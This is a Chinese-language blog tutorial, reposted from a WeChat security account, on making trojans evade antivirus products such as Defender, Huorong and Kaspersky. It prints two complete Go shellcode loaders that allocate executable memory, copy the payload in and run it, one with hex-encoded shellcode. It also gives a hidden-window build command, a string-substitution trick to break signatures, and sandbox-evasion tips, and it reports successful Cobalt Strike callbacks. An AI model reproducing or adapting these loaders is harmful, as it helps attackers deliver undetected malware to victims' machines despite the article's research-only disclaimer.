一文带你学会0编程基础做木马免杀

admin 2025年6月18日22:37:58评论1 views字数 3127阅读10分25秒阅读模式
一文带你学会0编程基础做木马免杀

作者:掌控安全-骚骑 

背景

之前分享了个免杀入门文,很浅显,比较适合小白看...

文章在社区,地址我放在这了,有兴趣可以一戳:

https://bbs.zkaq.cn/t/4456.htmlps:社区邀请码可以找助教领取)

这次实实在在写一个,能过微软自带def,火绒,卡巴这些!

一、0x01环境

靶机:

IP:192.168.111.10

杀软:火绒,360,卡巴,微软def

本机:

IP:192.168.111.11

安装环境:cobaltstrikego环境

二、go环境安装

由于本人很久之前就安装了,所以直接上菜鸟教程吧

https://www.runoob.com/go/go-environment.html

三、实践

1.思路

主要是内存加载,对shellcode预先编码,然后解码执行。

2.举例

因为不是每个人每种语言都精通,但是当我们有需要了的时候怎么办?

我的方法就是找个案例,然后将不懂的函数查清楚,进而开始针对个人想要的功能进行修改或者拓展。

用重剑无锋大佬的文章中的案例做个示范:

远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)

(https://github.com/TideSec/BypassAntiVirus/)

package main

import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc, 0x48, ----shellcode----, 0xd5,
}
)

func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}

在原本的文章中,是可以免杀的,但由于过了很长时间,因此现在已经凉了。

当然我们对这些不能抱多大希望,终归只是学习姿势,拓展思路

因为可能换个方式就可以了,例如我们这样实现:

package main
import (
"os"
"syscall"
"unsafe"
"encoding/hex"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcodes="--shellcode--"
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
var shellcode []byte
shellcode, _ = hex.DecodeString(shellcodes)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}

做的改变就是将本地镶嵌的shellcode换成了hex编码,如图:

一文带你学会0编程基础做木马免杀

(图1)

是不是感觉很简单?为啥自己没想到?先将go文件生成exe进行杀软检测吧。

执行命令:

go build -ldflags=”-H windowsgui” youer_filename

一文带你学会0编程基础做木马免杀

(图2)

免杀及上线情况如图3、4

一文带你学会0编程基础做木马免杀

(图三

一文带你学会0编程基础做木马免杀

(图四

有时候很多事情并不是想象中的那么难,就看能不能绕过那个弯,用hack的思维去考虑问题

3.拓展

上面的算是抛砖引玉吧,然后卡巴还没过去,还有个思路的,那就是测试源来的shellcode哪些连用他会出问题,测试结果是:

当在如图5中所示地点断开,火绒停止爆错。

一文带你学会0编程基础做木马免杀

(图5)

因此,我又开始琢磨了,是否可以在这里输入没用的字符,然后在在做下替换可行不。

替换代码如下:

 var contents = "shellcode"
shellcodes, _ := regexp.Compile("xxxxx");
shellcod := shellcodes.ReplaceAllString(contents, "xx")

大概思路就是讲爆错位置加入特定字符,然后利用正则识别(xxxxx),替换成想要的内容(xx)


感觉思路是没问题的,而且测试输出的内容也是一样的。

但是就是不能运行,所以如果有熟悉go的希望能指教下。

针对反沙盒静态免杀,混淆函数免杀

针对静态免杀我们可以增加些判断,诸如主机名,计算机名这些,再有就是设置sleep这些

对于go基础为0的和我一样的,推荐直接用veil生成go文件,然后自己对其进行简单的改编。

利用上述做免杀结果

一文带你学会0编程基础做木马免杀

一文带你学会0编程基础做木马免杀

当然还有几个思路,先就到这里,继续保持学习,后续会考虑更新更详细一些,期待不断成长。

总结

总体来说,就一个问题、多看、多想、遇到问题不要慌、换个思路拐个弯做下尝试。

然后这两个我都没上传样本,基本上是断网情况测试

因此免杀效果应该是可以维持一段时间的,免杀是在不断对抗过程中成长的,勤思考多查找,总会有办法的。

关注我、带你了解更多

一文带你学会0编程基础做木马免杀

原文始发于微信公众号(掌控安全课堂):一文带你学会0编程基础做木马免杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日22:37:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文带你学会0编程基础做木马免杀http://cn-sec.com/archives/2492947.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息